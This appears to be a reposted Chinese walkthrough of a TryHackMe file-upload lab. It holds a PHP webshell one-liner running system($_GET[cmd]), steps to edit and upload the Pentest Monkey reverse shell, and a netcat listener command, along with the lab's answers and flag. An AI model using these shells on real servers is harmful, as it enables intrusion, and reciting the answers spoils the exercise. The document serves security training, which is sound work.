【THM-课程内容答案】:Web Hacking Fundamentals-Upload Vulnerabilities-Remote Code Execution
覆盖服务器上存在的文件很好。这对维护网站的人来说很麻烦可能会导致一些漏洞但让我们更进一步让我们去RCE吧远程代码执行顾名思义将允许我们在web服务器上任意执行代码。虽然这可能是一个低权限的web用户帐户例如Linux服务器上的www数据但它仍然是一个极其严重的漏洞。通过web应用程序中的上传漏洞进行的远程代码执行往往会被上传用与网站后端相同的语言或服务器理解并将执行的另一种语言编写的程序所利用。传统上这将是PHP然而在最近其他后端语言变得越来越普遍Python Django和Node.js形式的Javascript是主要的例子。值得注意的是在路由应用程序中即以编程方式定义路由而不是映射到文件系统的应用程序这种攻击方法变得更加复杂发生的可能性也大大降低。大多数现代web框架都是以编程方式路由的。在利用文件上传漏洞时有两种基本方法可以在Web服务器上实现RCEwebshell和反向/绑定shell。实际上一个功能齐全的反向/绑定shell是攻击者的理想目标然而webshell可能是唯一可用的选项例如如果对上传施加了文件长度限制或者防火墙规则阻止任何基于网络的shell。我们将依次查看这些内容。作为一种通用方法我们希望上传一种或另一种shell然后激活它如果服务器允许的话可以直接导航到文件限制不足的非路由应用程序或者以其他方式强制Web应用程序为我们运行脚本路由应用程序中必需。Web Shell假设我们找到了一个带有上传表单的网页我们接下来该何去何从好吧让我们从gobuster扫描开始看起来我们这里有两个目录——uploads和assets。其中我们上传的任何文件似乎都会被放置在“uploads”目录中。我们将首先尝试上传一个合法的图像文件。在这里我从上一个任务中选择了我们可爱的狗的照片现在如果我们去http://demo.uploadvulns.thm/uploads我们应该看到小狗的照片已经上传了好的我们可以上传图片。现在让我们试试webshell。事实上我们知道这个Web服务器是用PHP后端运行的所以我们将直接跳到创建和上传shell。在现实生活中我们可能需要做更多的枚举。一个简单的webshell通过接收参数并将其作为系统命令执行来工作。在PHP中这样做的语法是?phpecho system($_GET[cmd]);?此代码接受GET参数并将其作为系统命令执行。然后它将输出回声输出到屏幕上。让我们尝试将其上传到网站然后使用它显示我们的当前用户和当前目录的内容成功我们现在可以使用这个shell从系统中读取文件或者从这里升级到反弹shell。现在我们有了RCE。请注意使用webshell时通过查看页面的源代码通常更容易查看输出。这大大改进了输出的格式。反弹shell上传反向shell的过程几乎与上传webshell的过程相同因此本节将更短。我们将使用无处不在的Pentest Monkey反弹shell它在Kali Linux上默认提供但也可以在此处下载raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php。您需要编辑shell的第49行。目前它将显示$ip127.0.0.1使用前需要将127.0.0.1更改为您的TryHackMe tun0 IP地址该地址可以在访问页面上找到。编辑完shell后我们需要做的下一件事是启动一个Netcat侦听器来接收连接。nc-lvnp 1234现在让我们上传shell然后通过导航到来激活它http://demo.uploadvulns.thm/uploads/shell.php.shell的名称是您自己定义的。网站应该挂起无法正常加载——但是如果我们切换回终端我们就会发现反弹shell已成功运行我们已获取靶机的shell权限我们再次获得了此Web服务器上的RCE。从这里开始我们希望稳定我们的shell并提升我们的特权但这些是另一次的任务。现在是时候你自己试试了【习题答案】导航到shell.uploadvulns.htm并完成此任务的问题。使用上面截图中的语法在网站上运行Gobuster扫描。它可能用于上传的目录是什么注意这是一个好习惯在接下来的任务中会对你很有帮助……Run a Gobuster scan on the website using the syntax from the screenshot above. What directory looks like it might be used for uploads?(N.B. This is a good habit to get into, and will serve you well in the upcoming tasks...)/resources【思路】直接运行gobuster扫描网站根目录路径字典路径为/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt在机器上获取web shell或反向shell。服务器/var/www/目录中的标志是什么 Get either a web shell or a reverse shell on the machine. Whats the flag in the /var/www/ directory of the server?THM{YWFhY2U3ZGI4N2QxNmQzZjk0YjgzZDZk}【思路】1- 使用Pentest Monkey反弹shell相关内容直接根据课程内容中链接获取并生成php反弹shell文件。2- 修改反弹shell文件中IP以及端口信息IP为攻击机IP地址端口保持默认1234。3- 在攻击机上通过netcat启动监听。4- 将反弹shell文件通过网站的上传功能进行上传并确认已上传成功。5- 通过浏览器访问对应url后缀为test.php。6- 发现已成功获取shell权限测试命令执行效果
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2560291.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!